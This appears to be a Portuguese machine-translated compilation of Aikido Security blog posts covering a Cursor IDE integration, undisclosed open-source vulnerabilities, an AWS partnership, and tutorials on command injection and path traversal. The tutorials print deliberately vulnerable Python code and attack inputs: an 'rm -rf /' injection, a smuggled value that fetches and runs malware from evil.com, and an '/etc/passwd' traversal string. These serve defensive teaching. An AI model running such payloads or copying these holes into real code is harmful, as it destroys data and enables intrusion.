Bem-vindo ao nosso blogue.

O Cursor AI tornou-se rapidamente o editor de código de IA mais popular, ganhando popularidade entre os programadores que procuram escrever código de forma mais rápida e eficiente. Mas enquanto o Cursor acelera a codificação, como é que os programadores podem confiar que o código Gen AI é seguro?

TL;DR: com o Aikido x Cursor, os programadores podem proteger o seu código à medida que este é gerado.

Se você perdeu o hype até agora, Cursor é um IDE "AI Native" construído em VSCode. Ele opera em um campo cada vez mais lotado de startups de copiloto de codificação Gen AI, competindo com Github Co-pilot, Cognition, Poolside, Magic e Augment, entre outros.

Enquanto o Cursor foi fundado em 2022, mas não foi até meados de 2024 que o Cursor começou sua ascensão meteórica para a frente da corrida do código Gen AI, na mesma época em que o Cursor adicionou Sonnet 3.5M como seu modelo padrão ... Abaixo está um instantâneo do 'The Pragmatic Engineer' da semana passada por Gregely Orosz, o boletim informativo de tecnologia nº 1 no substack, cobrindo como os desenvolvedores classificam diferentes IDEs com recursos GenAI :

Embora os inquiridos sejam, provavelmente, na sua maioria, utilizadores iniciais, não deixa de ser impressionante ver a Cursor como um novo operador a conquistar corações e mentes tão rapidamente. Não é de admirar que, desde então, tenham angariado 60 milhões de dólares em financiamento da Série A de Andreessen Horowitz, Thrive Capital, OpenAI, Jeff Dean, Noam Brown e os fundadores de Stripe, GitHub, Ramp, Perplexity e OpenAI, entre outros.

É por isso que a Aikido Security tem o prazer de lançar a nossa nova integração com o Cursor AI. O Aikido x Cursor traz a segurança em tempo real para o IDE do Cursor, ajudando os programadores a escrever e a gerar código seguro desde o início - sem quebrar o ritmo.

Como funciona a integração

Hoje pode integrar o Aikido diretamente no seu IDE Cursor. O Aikido irá analisar a sua base de código em busca de segredos, chaves de API e problemas de código SAST à medida que desenvolve, sempre que abrir ou guardar um ficheiro.

Se for detectado algum problema, o Aikido destaca-o no editor e apresenta-o no painel Problemas. Quando passa o rato sobre um problema SAST detectado, é fornecido um contexto adicional tl;dr sobre o problema. Em alguns casos, pode até corrigir problemas com as sugestões do Cursor no chat (embora ainda esteja enferrujado).

1. Detecte vulnerabilidades instantaneamente
   O Aikido analisa o código à medida que ele é gerado, identificando vulnerabilidades de segurança em tempo real. Explicações claras e concisas garantem que sabe qual é o problema e porque é importante - sem relatórios demasiado complicados.
2. Corrigir problemas com um clique
   Quando uma vulnerabilidade é assinalada, o Cursor pode gerar sugestões de correção com um clique. Pode aplicá-las diretamente a partir da interface de chat do Cursor. Tenha em atenção que nem todas as sugestões do Cursor são válidas.
3. Mantenha o foco
   Tudo acontece dentro do IDE do Cursor. Não há necessidade de trocar de ferramentas, executar verificações externas ou fazer malabarismos com plataformas separadas. O Aikido integra-se perfeitamente no IDE, para que se possa concentrar na construção, sabendo que o seu código está seguro.

Porque é que é importante

É indiscutível o impacto que a IA de geração terá na engenharia. Os geradores de código ou co-pilotos de IA não são infalíveis. Por um lado, a IA de geração pode ser utilizada para aumentar a segurança (mais sobre isto muito em breve!). Por outro lado, também introduzirão inevitavelmente vulnerabilidades. Estamos todos à espera do dia em que a IA consiga acabar com os pormenores. Hoje estamos um passo mais perto.

Esta integração permite que os programadores se mantenham na via rápida e criem aplicações seguras, tirando partido das melhores ferramentas orientadas para a IA e tendo a certeza de que o resultado é seguro. Conclua a segurança. Volte a construir.

Começar a trabalhar

A integração do Aikido já está disponível para os utilizadores do Cursor. Por enquanto, é necessária uma subscrição paga para a integração. Siga os passos abaixo:

Passo 1. Vá para o Visual Studio Code Marketplace e siga as instruções sobre como instalar uma extensão no Cursor.

Passo 2. No Aikido, aceda à página de integração do Cursor IDE e crie o seu token.

Passo 3. Confira os exemplos em nossos documentos no Visual Studio Marketplace para testar se tudo funciona bem.

Passo 4. Voltar à construção.

Proteja o seu código tal como foi escrito e gerado.

A Intel é o nosso feed de ameaças de segurança de código aberto alimentado por IA e pela nossa equipa de investigação interna. A Intel monitoriza e descobre vulnerabilidades em pacotes de código aberto antes de estas serem divulgadas. Muitas nunca são.

67% das vulnerabilidades de software corrigidas silenciosamente nunca foram divulgadas

O software de código aberto dá poder ao mundo, literalmente. No entanto, a segurança do software de código aberto é também uma área de grande preocupação em termos de segurança. As ferramentas de código aberto, como tudo o resto, podem introduzir vulnerabilidades de segurança. Estas podem ser utilizadas por atacantes para explorar a sua aplicação. Deixando os fornecedores de software expostos a ataques que não são da sua responsabilidade. Isto torna a segurança de código aberto um tópico muito importante.

Não só contamos com a comunidade de código aberto para construir e manter estas ferramentas, como também contamos com eles para corrigir quaisquer vulnerabilidades de segurança conhecidas. É importante salientar que também contamos com esses mantenedores para relatar publicamente as vulnerabilidades quando elas são descobertas. A divulgação pública de vulnerabilidades pela comunidade constitui a base da segurança de código aberto.

A correção silenciosa, ou correção sombra, é quando uma correção de segurança é aplicada (corrigida) mas nunca divulgada. Este é um grande problema porque significa que os fornecedores podem estar a executar software vulnerável sem estarem conscientes do risco.

Estamos a lançar o Aikido Intel para tirar da sombra software silenciosamente corrigido que o pode afetar. Com o Aikido Intel, podemos avisar os programadores o mais cedo possível se encontrarmos vulnerabilidades que os possam afetar e melhorar a segurança de código aberto.

O que é o Aikido Intel?

Aikido Intel é uma iniciativa da AI + da nossa equipa de investigação interna para melhorar a segurança de código aberto, descobrindo vulnerabilidades na cadeia de fornecimento de código aberto o mais cedo possível. Mesmo antes de serem divulgadas numa base de dados de vulnerabilidades. Para o conseguir, utilizamos LLMs treinados à medida para analisar as alterações nos pacotes e identificar quando um problema de segurança foi corrigido.

Como todo o software, o código aberto mantém um registo de alterações do que foi ajustado em cada nova versão. A Intel utiliza a IA para ler todos estes registos públicos de alterações e notas de lançamento para encontrar exemplos de correcções de problemas de segurança. Em seguida, é efectuada uma comparação com 5 bases de dados de vulnerabilidades para verificar se o problema foi comunicado. Caso contrário, um engenheiro de segurança analisa e avalia a vulnerabilidade, atribuindo-lhe um número de vulnerabilidade Aikido e uma gravidade e anunciando-a publicamente para que saiba se foi afetado. Leia mais pormenores sobre isto mais tarde

Verificar o Aikido Intel agora

Aikido Intel em números

Desde o seu lançamento em janeiro, o Aikido, a Intel descobriu 511 vulnerabilidades que foram corrigidas mas não divulgadas publicamente, representando uma ameaça real para quem utiliza esses pacotes.

Por vezes, pode demorar algum tempo entre a correção de uma vulnerabilidade e a atribuição de um número CVE ao problema. Todas as semanas, a Aikido reavalia o estado das vulnerabilidades anteriores para ver se alguma tem um CVE atribuído. Podemos revelar que 67% das vulnerabilidades que descobrimos nunca foram divulgadas publicamente em nenhuma base de dados de vulnerabilidades!

Embora não seja surpreendente que as vulnerabilidades de baixa gravidade sejam mais frequentemente corrigidas de forma silenciosa, não deixa de ser chocante o facto de mais de 50% das vulnerabilidades de alta gravidade e críticas nunca serem divulgadas. Isto cria um enorme ponto cego para os programadores e fornecedores de software.

Sei que alguns de vós se estarão a contorcer nas vossas cadeiras, dizendo que talvez se trate de pequenos projectos de código aberto, não tão populares, com políticas de segurança limitadas, mas, na verdade, estariam enganados. Encontrámos algumas vulnerabilidades não reveladas em alguns projectos muito grandes. .

O Axios, um cliente HTTP baseado em promessas para o browser e o node.js, com 56 milhões de descarregamentos semanais e mais de 146 000 dependentes, corrigiu uma vulnerabilidade de poluição de protótipos em janeiro de 2024 que nunca foi divulgada publicamente.

Facto curioso sobre esta vulnerabilidade: Esta foi, de facto, a primeira vulnerabilidade que a Aikido Intel encontrou (Ver número 2023-10001).... Continua a não ser divulgada até hoje!

Agora, não quero dar-lhes a mão à palmatória, a Axios não é a única, há mais alguns nomes que merecem uma saudação especial. A Apache corrigiu silenciosamente uma vulnerabilidade no software echarts para scripts entre sítios que nunca foi divulgada.

Outro exemplo interessante que descobrimos foi uma vulnerabilidade crítica de passagem de caminho no Chainlit que foi corrigida em setembro, mas a vulnerabilidade nunca foi divulgada publicamente.

As vulnerabilidades mais comuns

O scripting entre sítios foi a vulnerabilidade não divulgada mais comum, representando 14,8%, seguida da exposição de informações sensíveis, 12,3%. No total, detectámos 90 tipos diferentes de vulnerabilidades, criando uma longa cauda de resultados.

As vulnerabilidades mais comuns descobertas

Se olharmos apenas para as vulnerabilidades de cutícula e de alto nível, podemos ver um quadro ligeiramente diferente, com a execução remota de código a ocupar o primeiro lugar da lista

As vulnerabilidades mais comuns descobertas - apenas críticas e graves

Tempo para a divulgação

Enquanto no momento em que este artigo foi escrito 67% dos pacotes nunca revelaram suas vulnerabilidades, 31% o fizeram, seja pelos mantenedores ou pesquisadores de segurança (parabéns a eles). Dos pacotes que divulgaram as vulnerabilidades, levou uma média de 27 dias desde o momento em que o patch foi lançado até quando um CVE foi atribuído. O tempo mais rápido que observámos foi de apenas 1 dia e o tempo mais longo foi de 9 meses!

Como funciona a Intel (em pormenor)

Sei que estamos todos fartos das novas tretas da IA, mas a Intel é uma iniciativa da equipa de investigação de segurança da Aikido e a equipa de IA da Aikido utiliza a IA com um humano no circuito para fornecer um feed público de ameaças para melhorar a segurança de fonte aberta.

A Intel trabalha lendo todos os changelogs e notas de lançamento disponíveis publicamente para entender se as correções de segurança foram feitas, mas não divulgadas. Para tal, são utilizados dois modelos LLM, um para filtrar os dados e remover todo o contexto desnecessário, para que o segundo LLM se possa concentrar na análise das vulnerabilidades. Em seguida, um engenheiro de segurança humano analisa as descobertas do LLM, valida as descobertas e libera uma Intel quando uma vulnerabilidade é confirmada.

Este é um método tão eficaz porque consome muito menos poder computacional do que tentar analisar todos estes sistemas em busca de vulnerabilidades. No entanto, provou ao longo de um ano encontrar muitos resultados verdadeiros.

Como é que os registos de alterações são vistos pela Aikido Intel

Os registos de alterações são documentos mantidos em projectos de código aberto que registam actualizações, correcções de erros, adições de funcionalidades e patches. Os exemplos incluem CHANGELOG.md mensagens de commit e notas de lançamento do GitHub.

O Intel LLM identifica entradas que sugerem alterações relacionadas à segurança, procurando por:

• Palavras-chave: "vulnerabilidade", "segurança", "correção", "exploração", "validação de entrada", etc.
• Dicas contextuais: "Corrigido um erro crítico", "Corrigido um estouro de buffer", "Resolvidos problemas de autenticação".

Exemplo de entradas assinaladas pelo LLM:
- Corrigido um problema de sanitização de entrada no manipulador de login.
- Resolvido um vazamento de memória que poderia levar a ataques de negação de serviço.
- Abordada uma vulnerabilidade de travessia de caminho na funcionalidade de upload de arquivos.

Segurança de fonte aberta, como as vulnerabilidades são divulgadas corretamente

Tal como referido anteriormente, a divulgação pública é uma componente importante da segurança de código aberto. São utilizadas várias bases de dados diferentes para divulgar quando um software tem uma vulnerabilidade. A principal base de dados é a National Vulnerability Database (NVD), mantida pelo governo dos EUA. Esta base de dados não é apenas utilizada pelas empresas para verificar a sua cadeia de abastecimento, mas também por software de segurança que verifica os projectos com base nesta base de dados e noutras (software SCA). Existem várias outras bases de dados, incluindo a base de dados de Vulnerabilidades e Exposições Comuns (CVE) da Mitre, a base de dados consultiva do GitHub e muitas outras, num total de 5 bases de dados diferentes que o Aikido verifica. Mas o que a maioria destas bases de dados tem em comum é o facto de exigirem que as vulnerabilidades sejam divulgadas publicamente, normalmente após a publicação de uma correção.

Porque é que as vulnerabilidades não são divulgadas?

Esta é uma boa pergunta e gostaria de começar por dizer que não existe uma boa razão para não divulgar vulnerabilidades. Talvez a mais comum seja o risco para a reputação, o facto de o seu software poder ser visto como inseguro, mas eu diria que há muito mais a perder com a não divulgação do que com a divulgação.

Porque é que o shadow patching é um problema para a segurança de código aberto

Não divulgar publicamente as vulnerabilidades do seu software cria um enorme risco para os seus utilizadores. Como diz o ditado, se não está estragado, não o arranje, o que se aplica frequentemente ao software.

A atualização de componentes do seu software pode muitas vezes criar problemas de desempenho e usabilidade ou simplesmente avariar a sua aplicação. Com isto em mente, nem sempre é prática comum atualizar imediatamente os pacotes quando uma versão mais recente está disponível.

No entanto, quando existe um problema de segurança num componente, é importante sabê-lo, uma vez que altera a urgência com que actualiza os seus componentes de código aberto e de terceiros. Não divulgar esta informação significa que é menos provável que os utilizadores actualizem, o que significa que terão falhas de segurança nas suas ferramentas que desconheciam, daí a razão pela qual o shadow patching é um problema tão grande.

Não deixe que vulnerabilidades ocultas comprometam a sua segurança.

Estabeleça hoje uma parceria com a Aikido Security para proteger a sua cadeia de fornecimento e ganhar paz de espírito.

Caso não tenha visto, durante os meses de verão lançámos o nosso produto no AWS Marketplace com a promessa de proporcionar o "tempo de segurança" mais rápido do sector para os novos utilizadores do AWS.

Também nos juntámos oficialmente à AWS Partner Network (APN) como parceiro validado da AWS.

Isso significa que passamos pela Revisão Técnica Fundamental da AWS (FTR). Somos aprovados pela FTR* e cumprimos as melhores práticas bem arquitetadas impostas pela AWS, não para nos gabarmos. ;)

Psst. Em breve poderás usar o Aikido para obter a aprovação do FTR. Estamos a mapear a funcionalidade do Aikido para o processo de segurança FTR, para que possa começar a trabalhar e a vender em conjunto com a AWS rapidamente. Interessado? → inscreva-se aqui e será o primeiro a saber quando.

Para além do emblema de parceiro elegante, estamos entusiasmados por sermos um parceiro oficial da AWS para desbloquear um maior acesso à comunidade AWS. Podemos servir melhor os clientes nativos da cloud, eliminar a complexidade desnecessária no percurso do cliente e expandir o nosso próprio produto Cloud Security Posture Management (CSPM) para os utilizadores da AWS Cloud.

Porquê adicionar o Aikido à sua conta AWS?

O Aikido Security fornece cobertura abrangente de código para nuvem, alinhando-se bem com os recursos de pilha completa da AWS. Isto é especialmente valioso para os clientes da AWS que gerem a segurança das aplicações e da nuvem numa plataforma unificada.

A integração direta com ambientes AWS simplifica a implementação, permitindo ao Aikido procurar vulnerabilidades em serviços AWS como o EC2, S3, Lambda e outros - aumentando a visibilidade da segurança no AWS e complementando a arquitetura nativa da nuvem. A gestão da postura do AWS do Aikido é baseada no AWS Inspetor. Podemos mostrar-lhe descobertas que podem levar os hackers a obter acesso inicial à sua nuvem.

Além disso, as verificações de conformidade incorporadas alinham-se com as principais normas (SOC2, ISO 27001, NIS 2, HIPAA), facilitando aos clientes da AWS a manutenção da conformidade em toda a infraestrutura da AWS, o que é especialmente valioso para as indústrias regulamentadas.

Interessado em verificar? Encontre-nos no mercado AWS

O que é a injeção de comandos?

A injeção de comandos é uma vulnerabilidade ainda muito prevalecente nas aplicações Web, apesar de ser menos famosa do que as suas primas, a injeção de SQL ou a injeção de código. Se estiver familiarizado com outras vulnerabilidades de injeção, reconhecerá o princípio comum: o input de um utilizador não fiável não é devidamente validado, levando à execução de comandos arbitrários do sistema. Esta falha ocorre quando a entrada não validada é passada para funções ao nível do sistema. Qual é a importância da injeção de comandos? Analisámos a frequência com que esta vulnerabilidade é detectada e, *spoiler*, é surpreendentemente comum!

Exemplo de injeção de comandos

Considere este exemplo de injeção de comandos, digamos que tem uma aplicação onde pode introduzir o nome de um ficheiro alojado num servidor. A aplicação recupera esse ficheiro e escreve o seu conteúdo. O código para isso é o seguinte

import os

file_name = input("Enter the file name: ")
os.system(f"cat {file_name}")

O código acima espera que um utilizador insira um nome de ficheiro como ficheiro.txt mas, em vez disso, um utilizador malicioso injecta algum código para executar comandos maliciosos.

Por exemplo
Nome do ficheiro: file.txt; rm -rf /

Esta entrada mostraria primeiro o conteúdo de ficheiro.txt e depois executar o ficheiro malicioso rm -rf que elimina à força todos os ficheiros de um diretório.

O utilizador malicioso pode fazer isto porque a aplicação não validou ou higienizou a entrada do utilizador, tornando a aplicação suscetível à injeção de comandos.

Se pretender um exemplo mais completo, consulte o conteúdo de bónus no fundo desta página.

Injeção de Comando em Números: A nossa investigação

• 7% de todas as vulnerabilidades encontradas em projectos de código aberto em 2024 eram injecções de comandos
• 5,8% para projectos de código fechado !
• Um aumento do número total de vulnerabilidades de injeção de comandos em projectos de código aberto de 2348 (2023) para uma previsão de 2600 (2024).
• Em percentagem de todas as vulnerabilidades, a injeção de comando está a tornar-se menos popular: uma diminuição de 14,6 % e 26,4 % para projetos de código aberto e de código fechado, respetivamente, de 2023 a 2024

A nossa investigação centrou-se na pesquisa de projectos de código aberto e de código fechado para revelar quantos tinham vulnerabilidades de injeção de comandos escondidas.

Em geral, o número de vulnerabilidades de injeção de comandos é muito elevado, sendo que 7% de todas as vulnerabilidades comunicadas em projectos de código aberto são de injeção de comandos e 5,8% em projectos de código fechado. Este valor é bastante próximo do número de vulnerabilidades de injeção de SQL encontradas.

Também há algumas boas notícias a retirar dos dados: estamos a assistir a uma tendência sólida de redução destas vulnerabilidades de 2023 para 2024. Como uma porcentagem de todas as vulnerabilidades, vimos uma redução de 27% em projetos de código fechado e 14% em código aberto. É provável que haja muitos factores que contribuam para esta situação, mas um fator significativo é o facto de o FBI e a CISA terem apontado, em 2024, a injeção de comandos como uma ameaça real e terem instado os fornecedores a prestar-lhe atenção. De acordo com os dados, este aviso foi ouvido.

Infelizmente, as boas notícias ficam por aqui. Continuamos a assistir a um aumento do número total de vulnerabilidades comunicadas em projectos de código aberto. O número total de vulnerabilidades de injeção comunicadas em projectos de código aberto passou de 2 348 em 2023 para 2 450 até agora em 2024 (espera-se que atinja 2 600)

Como evitar a injeção de comandos

A prevenção de vulnerabilidades de injeção de comandos requer uma abordagem multifacetada:

Validação de entrada do lado do servidor

Um erro comum que alguns cometem é efetuar apenas a validação do lado do cliente, que pode ser contornada por um atacante que faça um pedido direto.

import subprocess

# Exemplo de entrada restrita
allowed_files = ['file1.txt', 'file2.txt']
user_input = "file1.txt" # Isto deve vir do utilizador, mas é validado

if user_input in allowed_files:
subprocess.Popen(['ls', '-l', user_input])
else:
print("Entrada inválida!")

Evitar comandos da shell

Substitua os comandos da shell por funções ou bibliotecas nativas da linguagem sempre que possível. Abaixo está um exemplo de uso do modo somente leitura para abrir um arquivo e ler os contextos dentro dele.

with open("file.txt", "r") as f:
print(f.read())

Testes automatizados

Utilize ferramentas como o Aikido para analisar o seu código fonte e a sua aplicação e descobrir estas vulnerabilidades.

Utilizar uma firewall na aplicação

Uma das melhores defesas contra ataques de injeção é uma firewall in-app capaz de detetar e bloquear comandos maliciosos. O Aikido's in-app firewall Zen está disponível em código aberto e comercial e é capaz de detetar e bloquear ataques de injeção em tempo de execução.

Aplicar o princípio do menor privilégio

Configure as aplicações e os utilizadores para serem executados com os privilégios mínimos necessários, reduzindo os danos potenciais da exploração.

O caminho a seguir

A injeção de comandos, juntamente com muitas vulnerabilidades de injeção, é um desafio. Do ponto de vista tecnológico, resolvemos este problema, o que significa que não há necessidade de ter este tipo de vulnerabilidade nas suas aplicações. Com isto em mente, o facto de ainda vermos tantos destes tipos de vulnerabilidades significa que não podemos esperar um salto quântico de melhoria.

A injeção de comandos continuará a ser um problema, no entanto, como este ano assistimos a uma descida significativa, com as grandes organizações a concentrarem-se nesta vulnerabilidade, há esperança de que a injeção de comandos possa tornar-se menos proeminente no futuro, se continuarmos a sensibilizá-las.

Conteúdo de bónus

Uma história da injeção de comandos: Violações proeminentes

A injeção de comandos tem sido uma ameaça persistente desde há muito tempo. De facto, existia uma vulnerabilidade significativa de injeção de comandos que estava presente no bash desde 1989 até 2014. Mais recentemente, em 2024, a importância da injeção de comandos foi destacada pela CISA e pelo FBI, mostrando que continua a ser uma grande preocupação.

1. Primeiros dias da injeção de comandos

• Primeira utilização conhecida: As vulnerabilidades de injeção de comandos surgiram com a ascensão dos sistemas informáticos multiutilizadores nas décadas de 1970 e 1980, permitindo aos atacantes executar comandos arbitrários através de entradas não higienizadas.
• Décadas de 1980 e 1990: A proliferação de tecnologias Web levou a uma maior exploração da injeção de comandos, particularmente através de scripts CGI mal protegidos.

2. Violações e explorações significativas

• 1998: O primeiro ataque documentado de injeção de comandos baseado na Web: Foi explorada uma vulnerabilidade num script CGI baseado em Perl amplamente utilizado, marcando um dos primeiros grandes incidentes de injeção de comandos baseados na Web.
• 2010: Worm Stuxnet (injeção de comandos incorporados): O Stuxnet utilizou a injeção de comandos para atingir sistemas de controlo industrial, demonstrando o alcance da vulnerabilidade para além dos ambientes de TI tradicionais.

3. 2010s: Exploração em escala

• 2014: Vulnerabilidade Shellshock: O Shellshock (CVE-2014-6271) explorou o processamento de comandos do Bash, afectando milhões de sistemas em todo o mundo.
• 2018: Exploração de VPN do Cisco ASA (CVE-2018-0101): Uma vulnerabilidade de injeção de comandos no software ASA da Cisco permitia a execução remota de código, comprometendo a segurança da empresa.

4. 2020s: Explorações e tendências modernas

• 2020: Exploração do Citrix ADC Gateway: Os atacantes exploraram vulnerabilidades de injeção de comandos nos sistemas Citrix, conduzindo a violações de dados significativas.
• 2023: Vulnerabilidade do MOVEit (Injeção de SQL e Comando): Uma falha de injeção de comando no software MOVEit Transfer levou a violações de dados generalizadas em várias organizações.

Vulnerabilidade de injeção de comandos realistas

O Código Vulnerável

Vejamos um exemplo um pouco mais complexo de injeção de comandos. Abaixo está algum código para uma aplicação web Python simples. Permite aos utilizadores criar um arquivo ZIP de ficheiros especificados, enviando um pedido POST para o ficheiro /arquivo rota.

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/archive', methods=['POST'])
def archive_files():
   files = request.form.get('files')  # User provides file names to archive
   archive_name = request.form.get('archive_name')  # User provides archive name
   
   command = f"zip {archive_name}.zip {files}"  # Command built dynamically
   os.system(command)  # Execute the system command

   return f"Archive {archive_name}.zip created successfully!"
if __name__ == "__main__":
   app.run(debug=True)

Como funciona

O utilizador fornece:

• ficheiros (por exemplo, ficheiro1.txt ficheiro2.txt) para especificar quais os ficheiros a incluir no arquivo.
• nome_do_arquivo para especificar o nome do arquivo zip resultante.

O código constrói um comando shell dinamicamente:

1. zip nome_do_arquivo.zip ficheiro1.txt ficheiro2.txt

2. O os.system() executa o comando, permitindo que as entradas fornecidas pelo utilizador ditem o seu comportamento.

Exploração

Um atacante explora este facto injectando comandos adicionais no nome_do_arquivo ou ficheiros entradas.

Entrada fornecida pelo atacante:

• nome_do_arquivo: meu_arquivo; rm -rf /
• ficheiros: ficheiro1.txt

O comando resultante:

zip meu_arquivo.zip ficheiro1.txt; rm -rf /

1. zip meu_arquivo.zip ficheiro1.txt: Cria um arquivo como esperado.
2. ; rm -rf /: Elimina todos os ficheiros no servidor através da execução de um comando destrutivo separado.

Um exemplo mais sofisticado

O atacante pode explorar este facto para descarregar malware ou exfiltrar dados:

nome_do_arquivo: arquivo; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh

Comando resultante:

zip archive.zip file1.txt; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh

Este comando:

1. Cria um arquivo (zip archive.zip file1.txt).
2. Descarrega código malicioso (curl -o malware.sh http://evil.com/malware.sh).
3. Executa o malware (bash malware.sh).
   

A travessia de caminhos, também conhecida como travessia de diretórios, ocorre quando um utilizador malicioso manipula dados fornecidos pelo utilizador para obter acesso não autorizado a ficheiros e diretórios. Normalmente, o atacante tentará aceder a registos e credenciais que se encontram em diretórios diferentes. A passagem de caminho não é uma vulnerabilidade nova e tem sido ativamente explorada desde os anos 90, quando os servidores Web ganharam popularidade, muitos dos quais dependiam de scripts CGI (Common Gateway Interface) para executar conteúdos dinâmicos do lado do servidor.

Com uma história tão longa, o path traversal ainda é popular hoje em dia? Realizámos um estudo de projectos de código aberto e de código fechado para recolher dados e ver até que ponto o path traversal era comum em 2024 e se estamos a melhorar, Spoilersnão estamos.

Exemplo de travessia de caminho

Então, como funciona exatamente a travessia de caminhos? Vejamos um exemplo simples.

Nesta aplicação simples, é dado a um utilizador um ficheiro para descarregar através de uma variável no URL.

Existe algum código Python de backend simples que trata do pedido.

import os

def download_file(file):
base_directory = "/var/www/files"
file_path = os.path.join(base_directory, file)

if os.path.exists(file_path):
with open(file_path, 'rb') as f:
return f.read()
else:
return "File not found"

Agora, como a variável é fornecida no URL, podemos alterá-la para algo como isto ficheiro=../../../../../etc/passwd

Neste caso, o atacante está a utilizar o ../../ para percorrer a estrutura de diretórios até ao nível da raiz do sistema e aceder ao ficheiro passado, podendo obter acesso a informações sensíveis.

Se quiser ver como este método pode ser assegurado, desloque-se para baixo para ver o conteúdo do bónus.

Em cenários mais complexos que envolvem várias camadas de diretórios ou caracteres codificados (por exemplo, %2e%2e%2f), os atacantes podem contornar os filtros básicos e obter um acesso mais profundo ao sistema de ficheiros.

Percurso de caminhos pelos números

• 2,7% de todas as vulnerabilidades encontradas em projectos de código aberto em 2024 até agora eram de passagem de caminho
• 3,5% para projectos de código fechado !
• Um aumento do número total de vulnerabilidades de atravessamento de caminhos em projectos de código aberto de 742 (2023) para um número esperado de 1000 (2024).
• Em termos de percentagem de todas as vulnerabilidades, a passagem do caminho está a tornar-se mais comum, com um aumento maciço de 85% nos projectos de código fechado

A nossa investigação centrou-se na pesquisa de projectos de código aberto e de código fechado para revelar quantos tinham vulnerabilidades de passagem de caminho escondidas.

Em geral, o número de vulnerabilidades de passagem de caminho é inferior ao de outras vulnerabilidades que pesquisámos, como as injecções de comando ou as injecções de SQL. Mas considerando que esta vulnerabilidade pode ser muito perigosa e tem soluções bem documentadas para a evitar, é alarmante ver os números tão elevados como são. É ainda mais alarmante ver que as tendências para esta vulnerabilidade vão na direção errada. f

Projectos de código aberto

Nos projectos de código aberto, a passagem de caminhos representou 2,6% de todas as vulnerabilidades comunicadas em 2023. Este valor registou um ligeiro aumento em 2024, subindo para 2,75%. Embora esse incremento possa parecer marginal à primeira vista, ele ressalta os desafios contínuos na proteção de software de código aberto até mesmo contra vulnerabilidades simples.

Projectos de fonte fechada

A tendência mais notável foi observada nos projectos de código fechado, em que os incidentes de passagem do caminho aumentaram de 1,9% em 2023 para 3,5% em 2024 - um aumento substancial de 85% que evidencia uma tendência alarmante deste tipo de vulnerabilidade.

Infelizmente, as más notícias não se ficam por aqui. Continuamos a assistir a um aumento do número total de vulnerabilidades comunicadas em projectos de código aberto. O número total de vulnerabilidades de injeção comunicadas em projectos de código aberto passou de 742 em 2023 para 917 até agora em 2024 (espera-se que atinja os 1.000)

Evitar a travessia de caminhos

A prevenção de vulnerabilidades de injeção de comandos requer uma abordagem multifacetada:

Validação de entrada

• Sanitizar as entradas do utilizador: Retirar ou codificar caracteres perigosos, tais como ../, ..\, ..%2f, ou outras variações.
• Abordagem de lista de permissões: Definir um conjunto rigoroso de entradas permitidas (por exemplo, nomes de ficheiros ou caminhos) e rejeitar tudo o que estiver fora desta lista.

Restringir o acesso aos ficheiros

• Usar um chroot jail ou sandbox: Limitar o acesso a ficheiros da aplicação a um diretório restrito, assegurando que não pode atravessar para além da árvore de diretórios pretendida.
• Definir diretórios raiz: Definir diretórios de base e garantir que todos os caminhos são relativos a eles. Use APIs ou frameworks que imponham isso, como:java.nio.file.Paths.get("baseDir").resolve(userInput).normalize() em Java.
  os.path.realpath() e os.path.commonpath() em Python.

APIs de acesso seguro a ficheiros

• Utilizar métodos de acesso seguro a ficheiros fornecidos por bibliotecas ou estruturas modernas:Em Java, utilizar Ficheiros.newInputStream() ou Ficheiros.newBufferedReader() para um manuseamento seguro dos ficheiros.
  Em Pythoncertifique-se de que valida os caminhos dos ficheiros antes de aceder aos mesmos.

Restrições do ambiente de utilização

• Definir restritivo permissões do sistema de ficheirosAssegure-se de que a aplicação tem apenas os privilégios mínimos necessários.
  Negar o acesso a diretórios sensíveis (por exemplo,, /etc, /var, /usre diretórios pessoais do utilizador).
• Desativar funcionalidades desnecessárias em servidores Web ou estruturas (por exemplo, seguimento de ligações simbólicas).

Testes automatizados

• Utilize ferramentas como o Aikido para analisar o seu código fonte e a sua aplicação e descobrir estas vulnerabilidades.
• As ferramentas SAST e DAST devem ser utilizadas em conjunto com a verificação do domínio e a segurança na nuvem para garantir que não existem vulnerabilidades ocultas de passagem do caminho.

Utilizar uma firewall na aplicação

• Uma das melhores defesas contra ataques de injeção é uma firewall na aplicação que consegue apanhar e bloquear comandos maliciosos.

O caminho a seguir

O path traversal é uma vulnerabilidade que está presente desde o início das aplicações Web e, embora seja muitas vezes bastante simples, também pode ser uma exploração muito devastadora. É por isso que é tão preocupante que uma percentagem tão grande de projectos ainda esteja a debater-se com este tipo de problemas. Embora 3,5% não pareça um número elevado, é bastante notável que o número esteja a crescer em popularidade apesar da sua clara ameaça contínua e bem documentada.

A travessia de caminhos não é uma vulnerabilidade que está a desaparecer, mas a boa notícia é que existem formas claras de encontrar estas vulnerabilidades na nossa aplicação e de corrigir quaisquer problemas que encontremos.

Conteúdo de bónus

Incidentes no mundo real

Nos últimos anos, houve várias violações ou vulnerabilidades de grande visibilidade que envolveram a passagem de caminhos como ponto de entrada principal ou como parte de uma cadeia de vulnerabilidades

Exploração do Microsoft IIS Unicode (2001)

Um dos primeiros exploits de travessia de caminho de alto perfil visando servidores Microsoft IIS. Os atacantes usavam caminhos codificados para contornar mecanismos de validação (por exemplo, usando %c0%af para representar /). Isto permitiu-lhes aceder e executar ficheiros fora do diretório raiz da Web.

Isto permitiu a implantação de malware e a desfiguração de numerosos sítios Web.

Fortinet VPN Path Traversal (2019)

Descobriu-se que o SSL VPN da Fortinet tem uma vulnerabilidade de passagem de diretório (CVE-2018-13379). Os atacantes exploraram esta falha para aceder a ficheiros de sistema sensíveis, tais como palavras-passe em texto simples para utilizadores VPN.

Milhares de credenciais VPN foram divulgadas online, expondo as organizações a acessos não autorizados e a novos ataques.

Violação da Capital One (2019)

O que aconteceu: Embora a causa principal tenha sido uma vulnerabilidade SSRF, o atacante também aproveitou a travessia de diretórios para aceder aos metadados do AWS S3 bucket. O atacante explorou configurações incorrectas para obter ficheiros de configuração que deveriam estar inacessíveis.

Este facto expôs os dados pessoais de 106 milhões de requerentes de cartões de crédito.

Travessia de caminho no painel de controlo do Kubernetes (2020)

O Kubernetes Dashboard tinha uma falha de passagem de diretório (CVE-2020-8563). Os atacantes exploraram isto para ler ficheiros sensíveis no contentor, incluindo segredos armazenados em /etc.

Ao decidir qual a abordagem a utilizar para as ferramentas de segurança, parece haver duas opções.

1. Vender o rim esquerdo e comprar a solução da empresa cujo nome está na lateral de um carro de Fórmula 1.

